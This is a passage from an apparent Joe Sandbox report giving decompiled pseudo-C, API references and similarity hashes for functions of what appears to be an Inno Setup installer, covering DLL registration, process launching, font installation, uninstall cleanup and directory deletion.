				_t119 =  *_t121;
				 *((intOrPtr*)( *_t121))( *[fs:edx], 0x41bbf5, _t124);
				 *_v12 = E0041B938(_v32, _t94 + 0xc, _t127);
				_t65 = _t94;
				_t110 = ( *(_t65 + 4) & 0x0000ffff) * ( *(_t65 + 0xa) & 0x0000ffff) + 0x1f;
				if(_t110 < 0) {
					_t110 = _t110 + 0x1f;
					_t129 = _t110;
				}
				_v40 = (_t110 >> 5 << 2) * ( *(_t65 + 6) & 0x0000ffff);
				_v28 = E00406A38(_v40, (_t110 >> 5 << 2) * ( *(_t65 + 6) & 0x0000ffff), _t119, _t129);
				 *[fs:eax] = _t126;
				 *((intOrPtr*)( *_t121))( *[fs:eax], 0x41bbd1, _t124);
				_v20 = GetFocus();
				_t73 = _v20;
				_push(_t73);
				L0040602C();
				_v24 = _t73;
				if(_v24 == 0) {
					E0041B45C();
				}
				_push(_t124);
				_push(0x41bbb1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t126;
				_v36 = 0;
				if( *_v12 != 0) {
					_push(0);
					_push( *_v12);
					_t88 = _v24;
					_push(_t88);
					L00405E2C();
					_v36 = _t88;
					_push(_v24);
					L00405DEC();
				}
				_push(_t124);
				_push(0x41bb8f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t126;
				_push(0);
				_push(_v32);
				_push(_v28);
				_push(4);
				_push(_t94);
				_t80 = _v24;
				_push(_t80);
				L00405CDC();
				 *_v8 = _t80;
				if( *_v8 == 0) {
					E0041B45C();
				}
				_pop(_t116);
				 *[fs:eax] = _t116;
				_push(E0041BB96);
				if(_v36 != 0) {
					_push(0);
					_push(_v36);
					_t84 = _v24;
					_push(_t84);
					L00405E2C();
					return _t84;
				}
				return 0;
			}

0x0041ba05
0x0041ba07
0x0041ba0c
0x0041ba0d
0x0041ba10
0x0041ba13
0x0041ba18
0x0041ba24
0x0041ba29
0x0041ba2c
0x0041ba31
0x0041ba33
0x0041ba33
0x0041ba44
0x0041ba56
0x0041ba64
0x0041ba67
0x0041ba6d
0x0041ba72
0x0041ba78
0x0041ba82
0x0041ba84
0x0041ba91
0x0041ba93
0x0041baa0
0x0041baa5
0x0041baa7
0x0041baa7
0x0041baa7
0x0041bab7
0x0041bac2
0x0041bad0
0x0041badd
0x0041bae4
0x0041bae7
0x0041baea
0x0041baeb
0x0041baf0
0x0041baf7
0x0041baf9
0x0041baf9
0x0041bb00
0x0041bb01
0x0041bb06
0x0041bb09
0x0041bb0e
0x0041bb17
0x0041bb19
0x0041bb20
0x0041bb21
0x0041bb24
0x0041bb25
0x0041bb2a
0x0041bb30
0x0041bb31
0x0041bb31
0x0041bb38
0x0041bb39
0x0041bb3e
0x0041bb41
0x0041bb44
0x0041bb49
0x0041bb4d
0x0041bb4e
0x0041bb50
0x0041bb51
0x0041bb54
0x0041bb55
0x0041bb5d
0x0041bb65
0x0041bb67
0x0041bb67
0x0041bb6e
0x0041bb71
0x0041bb74
0x0041bb7d
0x0041bb7f
0x0041bb84
0x0041bb85
0x0041bb88
0x0041bb89
0x00000000
0x0041bb89
0x0041bb8e

APIs

GetFocus.USER32 ref: 0041BADF
740BAC50.USER32(?), ref: 0041BAEB
740BB410.GDI32(00000000,?,00000000,00000000,0041BBB1,?,?), ref: 0041BB25
740BB150.GDI32(00000000,00000000,?,00000000,00000000,0041BBB1,?,?), ref: 0041BB31
740BA7F0.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BB8F,?,00000000,0041BBB1,?,?), ref: 0041BB55
740BB410.GDI32(00000000,00000000,00000000,0041BB96,?,?,00000000,00000000,0041BB8F,?,00000000,0041BBB1,?,?), ref: 0041BB89

Strings

[rG, xrefs: 0041BA0C

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: B410$B150Focus
String ID: [rG
API String ID: 1979529269-1780078340
Opcode ID: c7144ceedfe7497c6f1595be13c786ac999bba09c7dafa15f546a2b8206c1d70
Instruction ID: ac1f8aadad1114e4f4ac6eb4a49caba013dce75178cc3f394fbbc19ef7fe8806
Opcode Fuzzy Hash: c7144ceedfe7497c6f1595be13c786ac999bba09c7dafa15f546a2b8206c1d70
Instruction Fuzzy Hash: E6512A70A002189FCB11DFA9C891AEEB7F9EF49700F51806AF504EB755D738AD40CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004544DC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004544DC(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				struct HICON__* _v16;
				int _v20;
				struct HINSTANCE__* _v24;
				char _v28;
				intOrPtr* _t35;
				void* _t38;
				void* _t54;
				int _t55;
				intOrPtr* _t56;
				intOrPtr _t64;
				void* _t68;
				void* _t70;
				intOrPtr* _t71;
				void* _t73;
				void* _t74;
				intOrPtr _t75;

				_t58 = __ecx;
				_t73 = _t74;
				_t75 = _t74 + 0xffffffe8;
				_push(__ebx);
				_v28 = 0;
				_v8 = 0;
				_v12 = 0;
				_t54 = __ecx;
				_t68 = __edx;
				_t70 = __eax;
				_push(_t73);
				_push(0x454649);
				_push( *[fs:eax]);
				 *[fs:eax] = _t75;
				E00407314( &_v8);
				_v16 = SetCursor(LoadCursorA(0, 0x7f02));
				if(_t54 == 0) {
					_t55 = 0x8000;
				} else {
					_t55 = 0x8001;
				}
				_v20 = SetErrorMode(_t55);
				_push(_t73);
				_push(0x45461f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t75;
				E0042D80C( &_v28);
				E0040733C(_v28);
				E0042C8BC(_t70, _t58,  &_v12);
				if(_v12 != 0) {
					E0040733C(_v12);
				}
				_v24 = E0042E250(_t70, _t55, _t55);
				_t78 = _v24;
				if(_v24 == 0) {
					E00451E44("LoadLibrary", _t55, _t58, _t68, _t70, _t78);
				}
				_push(_t73);
				_push(0x4545f0);
				_push( *[fs:eax]);
				 *[fs:eax] = _t75;
				_push(_t68);
				_t35 = _v24;
				_push(_t35);
				L00405A9C();
				_t71 = _t35;
				_t56 = _t71;
				_t79 = _t71;
				if(_t71 == 0) {
					E00451E44("GetProcAddress", _t56, _t58, _t68, _t71, _t79);
				}
				_t57 =  *_t56();
				_t38 = E004063B4(_t36);
				_t80 = _t38;
				if(_t38 != 0) {
					E00403674( &_v28, _t68);
					E00451EEC(_v28, _t57, _t57, _t68, _t71, _t80);
				}
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(E004545F7);
				return FreeLibrary(_v24);
			}

0x004544dc
0x004544dd
0x004544df
0x004544e2
0x004544e7
0x004544ea
0x004544ed
0x004544f0
0x004544f2
0x004544f4
0x004544f8
0x004544f9
0x004544fe
0x00454501
0x00454507
0x0045451e
0x00454523
0x0045452c
0x00454525
0x00454525
0x00454525
0x00454537
0x0045453c
0x0045453d
0x00454542
0x00454545
0x0045454b
0x00454553
0x0045455d
0x00454566
0x0045456b
0x0045456b
0x00454579
0x0045457c
0x00454580
0x00454587
0x00454587
0x0045458e
0x0045458f
0x00454594
0x00454597
0x0045459a
0x0045459b
0x0045459e
0x0045459f
0x004545a4
0x004545a6
0x004545a8
0x004545aa
0x004545b1
0x004545b1
0x004545b8
0x004545bc
0x004545c1
0x004545c3
0x004545ca
0x004545d4
0x004545d4
0x004545db
0x004545de
0x004545e1
0x004545ef

APIs

Part of subcall function 00407314: GetCurrentDirectoryA.KERNEL32(00000104,?,DllRegisterServer,0045450C,00000000,00454649,?,?,00000000,0048D628), ref: 00407323

LoadCursorA.USER32 ref: 00454513
SetCursor.USER32(00000000,00000000,00007F02,00000000,00454649,?,?,00000000,0048D628), ref: 00454519
SetErrorMode.KERNEL32(00008000,00000000,00000000,00007F02,00000000,00454649,?,?,00000000,0048D628), ref: 00454532
6C8D5550.KERNEL32(00000000,?,00000000,004545F0,?,00000000,0045461F,?,00008000,00000000,00000000,00007F02,00000000,00454649), ref: 0045459F
FreeLibrary.KERNEL32(00000000,004545F7,?,00008000,00000000,00000000,00007F02,00000000,00454649,?,?,00000000,0048D628), ref: 004545EA

Strings

GetProcAddress, xrefs: 004545AC
LoadLibrary, xrefs: 00454582

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Cursor$CurrentD5550DirectoryErrorFreeLibraryLoadMode
String ID: GetProcAddress$LoadLibrary
API String ID: 1519367851-2209490600
Opcode ID: fa0c707e2429b9f3e818442b4ed539e8b7c6d0f8d1f11672067a7b51481401a3
Instruction ID: 7dc7c09ef35d44694d37c8cae758e1d41a5e37138ca179a59afc0dcdca3846aa
Opcode Fuzzy Hash: fa0c707e2429b9f3e818442b4ed539e8b7c6d0f8d1f11672067a7b51481401a3
Instruction Fuzzy Hash: 58319C70F006096BC711EFB68842A5EB6A8EB45709F51447BBD04E7343D67C9D44CAAD

Uniqueness

Uniqueness Score: -1.00%

Function 00453A2C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00453A2C(intOrPtr __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, DWORD* _a4, intOrPtr* _a8, intOrPtr _a12, char _a16, char _a20, char _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v68;
				char _v72;
				signed int _t41;
				void* _t42;
				void* _t61;
				intOrPtr _t71;
				intOrPtr* _t74;
				DWORD* _t76;
				void* _t79;

				_v12 = __ecx;
				_t61 = __edx;
				_v8 = __eax;
				_t76 = _a4;
				_t74 = _a8;
				E00403870(_a24);
				_push(_t79);
				_push(0x453b3d);
				_push( *[fs:eax]);
				 *[fs:eax] = _t79 + 0xffffffbc;
				if(_a24 == 0) {
					E0042C8BC(_t61, __ecx,  &_a24);
				}
				E00402A64( &_v72, 0x3c);
				_v72 = 0x3c;
				_v68 = 0x540;
				_v60 = _v8;
				_v56 = E00403880(_t61);
				_v52 = E00403880(_v12);
				if(_a24 != 0) {
					_v48 = E00403880(_a24);
				}
				_v44 = _a12;
				_t41 =  &_v72;
				_push(_t41);
				L0042CCC0();
				asm("sbb ebx, ebx");
				if( ~( ~_t41) != 0) {
					 *_t76 = 0x103;
					_t42 = _v16;
					if(_t42 != 0) {
						if(_a16 != 0) {
							WaitForInputIdle(_t42, 0xffffffff);
						}
						if(_a20 != 0) {
							do {
								if(_t74 != 0) {
									 *_t74();
								}
							} while (MsgWaitForMultipleObjects(1,  &_v16, 0, 0xffffffff, 0xff) == 1);
						}
						GetExitCodeProcess(_v16, _t76);
						CloseHandle(_v16);
					}
				} else {
					 *_t76 = GetLastError();
				}
				_pop(_t71);
				 *[fs:eax] = _t71;
				_push(E00453B44);
				return E00403548( &_a24);
			}

0x00453a35
0x00453a38
0x00453a3a
0x00453a3d
0x00453a40
0x00453a46
0x00453a4d
0x00453a4e
0x00453a53
0x00453a56
0x00453a5d
0x00453a64
0x00453a64
0x00453a73
0x00453a78
0x00453a7f
0x00453a89
0x00453a93
0x00453a9e
0x00453aa5
0x00453aaf
0x00453aaf
0x00453ab5
0x00453ab8
0x00453abb
0x00453abc
0x00453ac5
0x00453acb
0x00453ad6
0x00453adc
0x00453ae1
0x00453ae7
0x00453aec
0x00453aec
0x00453af5
0x00453af7
0x00453af9
0x00453afb
0x00453afb
0x00453b11
0x00453af7
0x00453b19
0x00453b22
0x00453b22
0x00453acd
0x00453ad2
0x00453ad2
0x00453b29
0x00453b2c
0x00453b2f
0x00453b3c

APIs

ShellExecuteEx.SHELL32(?), ref: 00453ABC
GetLastError.KERNEL32(00000000,00453B3D,?,?,?,00000001), ref: 00453ACD
WaitForInputIdle.USER32 ref: 00453AEC
MsgWaitForMultipleObjects.USER32 ref: 00453B0C
GetExitCodeProcess.KERNEL32 ref: 00453B19
CloseHandle.KERNEL32(?,?,?,00000000,00453B3D,?,?,?,00000001), ref: 00453B22

Strings

<, xrefs: 00453A78

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Wait$CloseCodeErrorExecuteExitHandleIdleInputLastMultipleObjectsProcessShell
String ID: <
API String ID: 35504260-4251816714
Opcode ID: 2f1c130e37fdf713c8ee09ae2cb80f7031dc9d6702a27a2de752bd04e6bc53ea
Instruction ID: 4f2f080ffbf6904bd028b80bde58d5dd14a7ef3b31ce35135e268bb2354b5d84
Opcode Fuzzy Hash: 2f1c130e37fdf713c8ee09ae2cb80f7031dc9d6702a27a2de752bd04e6bc53ea
Instruction Fuzzy Hash: 51315071A00209ABDB10EFA5C885B9E7BF8AF08355F10457AF850E73D2D7789E58CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00468898 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 89
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E00468898(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _v8;
				char _v12;
				char _v16;
				void* _t31;
				void* _t40;
				void* _t46;
				intOrPtr _t54;
				intOrPtr _t58;
				void* _t62;
				intOrPtr _t65;

				_push(0);
				_push(0);
				_push(0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t46 = __ecx;
				_t60 = __edx;
				_t62 = __eax;
				_push(_t65);
				_push(0x468995);
				_push( *[fs:eax]);
				 *[fs:eax] = _t65;
				if(E0042DCB4(0,  *0x0048CAB4, 0x80000002,  &_v8, 2, 0) != 0) {
					E00455B64("Failed to open Fonts registry key.", __ecx, __edx, _t62);
				} else {
					_push(E004036BC(_t62) + 1);
					_push(E00403880(_t62));
					_push(1);
					_push(0);
					_push(E00403880(__edx));
					_t40 = _v8;
					_push(_t40);
					L00405934();
					if(_t40 != 0) {
						E00455B64("Failed to set value in Fonts registry key.", __ecx, __edx, _t62);
					}
					RegCloseKey(_v8);
				}
				if(_t46 != 0) {
					while(AddFontResourceA(E00403880(_t62)) == 0) {
						_t51 =  &_v16;
						E00450B18(0x33,  &_v16, "AddFontResource");
						E0042E568(_v16,  &_v16,  &_v12);
						_t58 =  *0x48dc20; // 0x217894c
						_t31 = E00467080(_v12, _t46, _t51, _t58, _t60, _t62, __eflags);
						__eflags = _t31;
						if(_t31 == 0) {
							continue;
						}
						goto L9;
					}
					SendNotifyMessageA(0xffff, 0x1d, 0, 0);
				}
				L9:
				_pop(_t54);
				 *[fs:eax] = _t54;
				_push(0x46899c);
				return E00403568( &_v16, 2);
			}

0x0046889b
0x0046889d
0x0046889f
0x004688a1
0x004688a2
0x004688a3
0x004688a4
0x004688a6
0x004688a8
0x004688ac
0x004688ad
0x004688b2
0x004688b5
0x004688dc
0x00468922
0x004688de
0x004688e6
0x004688ee
0x004688ef
0x004688f1
0x004688fa
0x004688fb
0x004688fe
0x004688ff
0x00468906
0x0046890d
0x0046890d
0x00468916
0x00468916
0x00468929
0x0046892b
0x0046894e
0x00468958
0x00468963
0x0046896b
0x00468971
0x00468976
0x00468978
0x00000000
0x00000000
0x00000000
0x00468978
0x00468947
0x00468947
0x0046897a
0x0046897c
0x0046897f
0x00468982
0x00468994

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

6C8D68C0.ADVAPI32(?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00468995,?,?,?,?,00000000), ref: 004688FF
RegCloseKey.ADVAPI32(?,?,00000000,00000000,00000001,00000000,00000001,?,00000002,00000000,00000000,00468995), ref: 00468916

Part of subcall function 00455B64: GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

AddFontResourceA.GDI32(00000000), ref: 00468933
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 00468947

Strings

AddFontResource, xrefs: 00468951
Failed to open Fonts registry key., xrefs: 0046891D
Failed to set value in Fonts registry key., xrefs: 00468908

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790FontLocalMessageNotifyResourceSendTime
String ID: AddFontResource$Failed to open Fonts registry key.$Failed to set value in Fonts registry key.
API String ID: 1945327637-649663873
Opcode ID: 040eba7fd020e49e8c2479cf2325a98d93e246121b023b1d643960f544e3bb45
Instruction ID: 0b7725eea1bbc5b47538e9e1a37f4b943f12462ceb285dff8d0c763eb406a5a1
Opcode Fuzzy Hash: 040eba7fd020e49e8c2479cf2325a98d93e246121b023b1d643960f544e3bb45
Instruction Fuzzy Hash: 3121A3B170020476EB10FB668C42B6E679C9B45748F14457FB940EB2C2EA7C9909862F

Uniqueness

Uniqueness Score: -1.00%

Function 004894C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80
sleepsynchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E004894C0(void* __eflags) {
				long _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				intOrPtr _t14;
				intOrPtr _t19;
				struct HWND__* _t25;
				struct HWND__* _t29;
				intOrPtr _t33;
				void* _t35;
				intOrPtr _t41;
				void* _t42;
				void* _t43;
				intOrPtr _t45;

				E00455B64("Deleting Uninstall data files.", _t35, _t42, _t43);
				_push(0x4894ff);
				_push( *[fs:eax]);
				 *[fs:eax] = _t45;
				E00450078(0);
				_t9 =  *0x4ae32c; // 0x0
				E00450104(_t9);
				 *[fs:eax] = 0;
				E0042E240(0x4ae32c);
				_t14 =  *0x4ae324; // 0x0
				E00406FE4(_t14);
				if( *0x4ae328 != 0) {
					_t33 =  *0x4ae328; // 0x0
					E00406FE4(_t33);
				}
				if( *0x4ae340 != 0) {
					_v8 = 0;
					_t25 =  *0x4ae340; // 0x0
					GetWindowThreadProcessId(_t25,  &_v8);
					_t35 = OpenProcess(0x1f0000, 0, _v8);
					_t29 =  *0x4ae340; // 0x0
					SendMessageA(_t29, 0x54d, 0, 0);
					WaitForSingleObject(_t35, 0xffffffff);
					CloseHandle(_t35);
					Sleep(0x1f4);
				}
				 *0x48cf00 = 0;
				_t41 =  *0x4ae320; // 0x0
				E00453E18(0, _t41, 0xfa, 0x32);
				if( *0x48deec != 0) {
					E004554A0(0, _t35, _t42, _t43, 0);
				}
				_t19 =  *0x48d628; // 0x2162410
				return E00424308(_t19);
			}

0x004894cc
0x004894d4
0x004894d9
0x004894dc
0x004894e6
0x004894eb
0x004894f0
0x004894fa
0x0048950e
0x00489513
0x00489518
0x00489524
0x00489526
0x0048952b
0x0048952b
0x00489537
0x0048953b
0x00489542
0x00489548
0x0048955d
0x00489568
0x0048956e
0x00489576
0x0048957c
0x00489586
0x00489586
0x0048958d
0x0048959e
0x004895a6
0x004895b2
0x004895b6
0x004895b6
0x004895bb
0x004895ca

APIs

Part of subcall function 00455B64: GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

Part of subcall function 00450104: SetEndOfFile.KERNEL32(?,00000000,0046730A), ref: 0045010B

Part of subcall function 00406FE4: 6C8D5F60.KERNEL32(00000000,0048D628,0048B356,00000000,0048B3AB,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406FEF

GetWindowThreadProcessId.USER32(00000000,?), ref: 00489548
OpenProcess.KERNEL32(001F0000,00000000,?,00000000,?), ref: 00489558
SendMessageA.USER32 ref: 0048956E
WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 00489576
CloseHandle.KERNEL32(00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 0048957C
Sleep.KERNEL32(000001F4,00000000,00000000,000000FF,00000000,0000054D,00000000,00000000,001F0000,00000000,?,00000000,?), ref: 00489586

Strings

Deleting Uninstall data files., xrefs: 004894C7

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Process$CloseFileHandleLocalMessageObjectOpenSendSingleSleepThreadTimeWaitWindow
String ID: Deleting Uninstall data files.
API String ID: 2216181474-2568741658
Opcode ID: a7476f27cfffe04056263bd10cd1b593b18116b72e861790a672fea6345fcbe5
Instruction ID: 51625d6d662208fa7e89ffb5b1f44e64a7f96a7290d480644ff5f3bae53c224a
Opcode Fuzzy Hash: a7476f27cfffe04056263bd10cd1b593b18116b72e861790a672fea6345fcbe5
Instruction Fuzzy Hash: DB219571704600ABE711F77AEC42B2E37A8D745718F54493BF9009B1E3D678AC008B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00456E24 Relevance: 12.1, APIs: 1, Strings: 7, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00456E24(void* __eax, void* __ebx, intOrPtr __ecx, char __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v9;
				char _v16;
				char _v20;
				char _v24;
				signed int _t43;
				intOrPtr _t50;
				void* _t64;
				void* _t70;
				void* _t75;
				intOrPtr _t87;
				signed int _t103;
				void* _t104;
				char _t106;
				void* _t109;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v24 = 0;
				_v8 = __ecx;
				_t106 = __edx;
				_t75 = __eax;
				_push(_t109);
				_push(0x456fa6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t109 + 0xffffffec;
				_t103 = E004515FC(__eax, __edx, __eflags);
				if(_t103 == 0xffffffff || (_t103 & 0x00000010) == 0) {
					_v9 = 1;
					goto L18;
				} else {
					_v20 = _t106;
					_v16 = 0xb;
					E00455D54("Deleting directory: %s", _t75, 0,  &_v20, _t103, _t106);
					if((_t103 & 0x00000001) == 0) {
						L9:
						_t43 = E0045192C(_t75, _t106, _t117);
						asm("sbb eax, eax");
						_v9 =  ~( ~_t43);
						if(_v9 != 0) {
							L18:
							_pop(_t87);
							 *[fs:eax] = _t87;
							_push(E00456FAD);
							return E00403548( &_v24);
						}
						_t104 = GetLastError();
						if(_v8 == 0) {
							__eflags = _a4;
							if(_a4 == 0) {
								L16:
								_v20 = _t104;
								_v16 = 0;
								E00455D54("Failed to delete directory (%d).", _t75, 0,  &_v20, _t104, _t106);
								goto L18;
							}
							_t50 = E00456C7C(_a4, _t75, _t106, _t104, _t106);
							__eflags = _t50;
							if(_t50 == 0) {
								goto L16;
							}
							__eflags =  *0x48c0e0 - 2;
							if( *0x48c0e0 != 2) {
								goto L16;
							}
							_v20 = _t104;
							_v16 = 0;
							E00455D54("Failed to delete directory (%d). Will delete on restart (if empty).", _t75, 0,  &_v20, _t104, _t106);
							E00456D54(_t75, _t75, _t106, _t104, _t106);
							goto L18;
						}
						_v20 = _t104;
						_v16 = 0;
						E00455D54("Failed to delete directory (%d). Will retry later.", _t75, 0,  &_v20, _t104, _t106);
						E00403658();
						E004036C4( &_v24, _t106);
						E0045498C(_v8, 0, _v24);
						goto L18;
					}
					_t115 = _t103 & 0x00000400;
					if((_t103 & 0x00000400) != 0) {
						L5:
						_t64 = E004519A4(_t75, _t103 & 0xfffffffe, _t106, _t116);
						_t117 = _t64;
						if(_t64 == 0) {
							E00455B64("Failed to strip read-only attribute.", _t75, _t103, _t106);
						} else {
							E00455B64("Stripped read-only attribute.", _t75, _t103, _t106);
						}
						goto L9;
					}
					_t70 = E00452C90(_t75, _t75, _t106, _t103, _t106, _t115);
					_t116 = _t70;
					if(_t70 == 0) {
						E00455B64("Not stripping read-only attribute because the directory does not appear to be empty.", _t75, _t103, _t106);
						goto L9;
					}
					goto L5;
				}
			}

0x00456e2a
0x00456e2b
0x00456e2c
0x00456e2f
0x00456e32
0x00456e35
0x00456e37
0x00456e3b
0x00456e3c
0x00456e41
0x00456e44
0x00456e50
0x00456e55
0x00456f8c
0x00000000
0x00456e67
0x00456e67
0x00456e6a
0x00456e78
0x00456e83
0x00456ece
0x00456ed2
0x00456ed9
0x00456edd
0x00456ee4
0x00456f90
0x00456f92
0x00456f95
0x00456f98
0x00456fa5
0x00456fa5
0x00456eef
0x00456ef5
0x00456f36
0x00456f3a
0x00456f74
0x00456f74
0x00456f77
0x00456f85
0x00000000
0x00456f85
0x00456f41
0x00456f46
0x00456f48
0x00000000
0x00000000
0x00456f4a
0x00456f51
0x00000000
0x00000000
0x00456f53
0x00456f56
0x00456f64
0x00456f6d
0x00000000
0x00456f6d
0x00456ef7
0x00456efa
0x00456f08
0x00456f1a
0x00456f24
0x00456f2f
0x00000000
0x00456f2f
0x00456e85
0x00456e8b
0x00456e9a
0x00456ea3
0x00456ea8
0x00456eaa
0x00456ebd
0x00456eac
0x00456eb1
0x00456eb1
0x00000000
0x00456eaa
0x00456e91
0x00456e96
0x00456e98
0x00456ec9
0x00000000
0x00456ec9
0x00000000
0x00456e98

APIs

GetLastError.KERNEL32(00000000,00456FA6,?,00000000,?,00000000), ref: 00456EEA

Part of subcall function 00452C90: FindClose.KERNEL32(000000FF,00452D86), ref: 00452D75

Part of subcall function 00455B64: GetLocalTime.KERNEL32(?,00000000,00455CEB,?,?,0048DF10,00000000), ref: 00455B94

Strings

Not stripping read-only attribute because the directory does not appear to be empty., xrefs: 00456EC4
Failed to delete directory (%d). Will delete on restart (if empty)., xrefs: 00456F5F
Failed to delete directory (%d). Will retry later., xrefs: 00456F03
Deleting directory: %s, xrefs: 00456E73
Stripped read-only attribute., xrefs: 00456EAC
Failed to delete directory (%d)., xrefs: 00456F80
Failed to strip read-only attribute., xrefs: 00456EB8

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseErrorFindLastLocalTime
String ID: Deleting directory: %s$Failed to delete directory (%d).$Failed to delete directory (%d). Will delete on restart (if empty).$Failed to delete directory (%d). Will retry later.$Failed to strip read-only attribute.$Not stripping read-only attribute because the directory does not appear to be empty.$Stripped read-only attribute.
API String ID: 3419951142-1448842058
Opcode ID: be68cc5c2ea1bb27d3a1968eb94943e1c89a635c1c6de34cf41a108ae22edbf3
Instruction ID: a666114b09b834b90605eb2e029ce1ef81d745acec5bf68a3cedde6ddf24539b
Opcode Fuzzy Hash: be68cc5c2ea1bb27d3a1968eb94943e1c89a635c1c6de34cf41a108ae22edbf3
